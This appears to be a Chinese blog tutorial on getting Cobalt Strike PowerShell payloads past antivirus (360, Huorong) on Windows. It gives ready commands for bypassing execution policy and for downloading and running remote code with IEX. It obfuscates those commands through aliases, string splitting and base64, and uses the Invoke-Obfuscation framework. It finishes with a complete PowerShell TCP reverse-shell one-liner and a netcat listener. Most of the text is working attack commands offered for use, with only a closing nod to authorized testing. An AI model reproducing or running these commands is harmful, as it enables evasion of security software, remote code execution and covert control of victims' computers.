powershell免殺之路
Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能。powershell一直都是內網滲透的大熱門,微軟是真正的在推行PowerShell,包括Office等更多自家軟件,底層都是調用PowerShell來實現,近年來利用powershell來搞內網滲透進行橫向或免殺的熱度一直居高不下。
這次我將結合前人的各種騷操作,以及個人的不斷試錯,所想所思,來寫一篇關于powershell來進行免殺,達到CS多種姿勢繞過AV上線的干貨文章,并且本文章盡力內容友好易懂,沒接觸過powershell的小白也可以實現免殺上線,擁有自己的一些bypass小技巧
實驗環境:
一.
一臺WIN7專業版 某60全家桶 某絨最新版本

二.
powershell執行策略問題:
首先我們要來了解一下powershell執行策略這一塊的基礎問題:
powershell有六種執行策略:
Unrestricted 權限最高,可以不受限制執行任意腳本 Restricted 默認策略,不允許任意腳本的執行 AllSigned 所有腳本必須經過簽名運行 RemoteSigned 本地腳本無限制,但是對來自網絡的腳本必須經過簽名 Bypass 沒有任何限制和提示 Undefined 沒有設置腳本的策略
那么windows默認的執行策略是Restricted,他是不允許任意腳本的執行
我們來查查當前目標機器的執行策略:
進入powershell查看執行策略 :Get-ExecutionPolicy

可以看到,此時我們運行保存好的tubai.ps1文件,當前策略是默認不允許執行腳本的

我們可以用管理員權限來修改默認執行策略,來達到執行我們ps1腳本的效果
Set-ExecutionPolicy Unrestricted(權限最高,可以不受限制執行任意腳本)設置執行策略

此時執行便不在報錯,成功執行我們的腳本

三.
繞過執行策略:
當然我們在滲透中,遇到執行策略配置是默認不執行的,我們再去通過管理員權限去修改就太雞肋,動作太大了,所以便有了繞過執行策略,去執行我們的腳本以及powershell命令,下面來介紹幾種常見的繞過方式。
為便于演示,我們再次將執行策略設為默認不允許任意腳本的執行
Get-ExecutionPolicy Restricted

第一種:
以文件落地為例:
本地讀取然后通過管道符運行
powershell Get-Content tubai.ps1 | powershell -NoProfile -
Bypass執行策略繞過
powershell -ExecutionPolicy bypass -File ./tubai.ps1
Unrestricted執行策略標志
powershell -ExecutionPolicy bypass -File ./tubai.ps1
遠程下載并通過IEX運行腳本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))"
這個下面的繞過思路會細談。
四.
powershell 命令混淆繞過AV上線:
我們直接cs生成


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))"
這條命令主要做了哪些事?
利用downloadstri遠程讀取powershell文件并iex執行,即http://192.168.52.23:80/a下的文件。
iex => Invoke-expression 將字符串當作powershell代碼執行
我們直接在目標機運行發現被攔截:

那我我們可以根據powershell語言的特性進行混淆,例如字符串轉換、變量轉換、編碼、壓縮等等來繞過AV達到上線
為iex設置別名
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.52.23:80/a')
目標機器無攔截,繞過360與火絨成功上線

2.遠程下載并通過IEX運行腳本,這里我們采用echo方式
echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.52.23:80/a') | powershell -
目標機器無攔截,繞過360與火絨成功上線

3.利用'+'拼接http達到上線(典型的powershell語法特性,以變量的方式來拆分HTTP)
powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.52.23:80/a')"
五.
powershell 代碼混淆繞過AV上線:
首先來生成一個原始的cs上的powershell腳本


Powershell -ExecutionPolicy Bypass -File ./payload.sp1
在目標機器執行發現被殺

那么我們對生成的payload.ps1原始代碼進行分析

可以看到它是把字符串進行加載,我們來整個進行一個base64編碼然后在解碼后加載

解碼加載
解密后變量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后變量))

此時去執行上線
運行我們修改后的
Powershell -ExecutionPolicy Bypass -File .\payload.sp1
可以看到殺軟無反應,繞過了AV攔截成功上線
六.
利用Invoke-Obfuscation混淆ps文件實現上線:
https://github.com/danielbohannon/Invoke-Obfuscation
這個powershell混淆編碼框架,這也是著名的組織APT32 (海蓮花)經常使用的一個工具。
還是準備一個cs生成的payload.ps1,按上面的方式生成即可,不再重復。
1.我們來裝載框架進入Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

2.接下來設置ps1文件進行混淆,按圖操作即可
set scriptpath E:...\Invoke-Obfuscation_PowerShell\payload.ps1
輸入ENCODING 就會列出以下幾種編碼方式
encoding
1

3.輸出文件:out 2.ps1

4.接著我們去目標機器運行生成的2.ps1
去運行上線:./2.ps1

可以看到無攔截
同樣執行上線
七.
關于powershell在實際應用中的小技巧:
在實際滲透中,對cmd的防范比powershell更加嚴格,所以我們在操作中通過彈一個powershell出來執行,更加方便安全。
我們在目標機器執行
powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.52.134',7777);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

此時我們阿里云監聽便彈回了一個目標機器powershell
阿里云監聽 nc -lvp 7777

參考:
https://www.freebuf.com/articles/system/227467.html
https://www.jianshu.com/p/fb078a99e0d8
https://blog.csdn.net/zhangge3663/article/details/111945373
總結:
powershell在內網滲透中應用廣泛,遠不止免殺與信息收集,以后會出更多的紅藍對抗系列給大家。本文介紹了執行策略問題與繞過策略方式,以及命令混淆與代碼混淆來達到繞過AV上線的方式,站在前人的肩膀上思考并看問題。各位要在授權的滲透下玩轉自己的繞過思路!
